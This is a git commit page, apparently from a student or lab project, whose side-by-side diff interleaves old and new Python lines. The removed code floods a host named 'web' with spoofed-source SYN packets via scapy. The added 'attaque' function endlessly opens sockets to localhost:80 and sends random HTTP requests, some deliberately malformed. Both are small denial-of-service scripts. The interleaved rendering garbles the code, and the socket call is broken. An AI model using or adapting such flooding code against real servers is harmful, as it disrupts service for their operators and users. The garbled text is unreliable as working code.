requete mal formee2

This commit is contained in:
vSpaike 2025-01-11 23:45:59 +01:00
parent 4202dc0e43
commit ac08a16224

View file

@ -1,8 +1,23 @@
from scapy.all import * import socket
import random as r
while True: L=[
for i in range(512,2048): "G3T / HTTP/1.1\r\nHøst: localhost\r\n\r\n",
pkt = IP(dst='web') / IP(src='192.168.1.69')/ TCP(dport=80,sport=i,flags='S') / ICMP() "GET /index.html HTTP/1.1\r\nHost: localhost\r\n\r\n",
send(pkt, loop=1) "GET /about.html HTTP/1.1\r\nHost: localhost\r\n\r\n"
print("Sent packet") ]
adresse="localhost"
port=80
def attaque():
while True:
with socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM) as s:
s.connect(adresse,port)
s.send(L[r.randint(0,2)].encode())
'''
GET / HTTP/1.1
Host: example.com
'''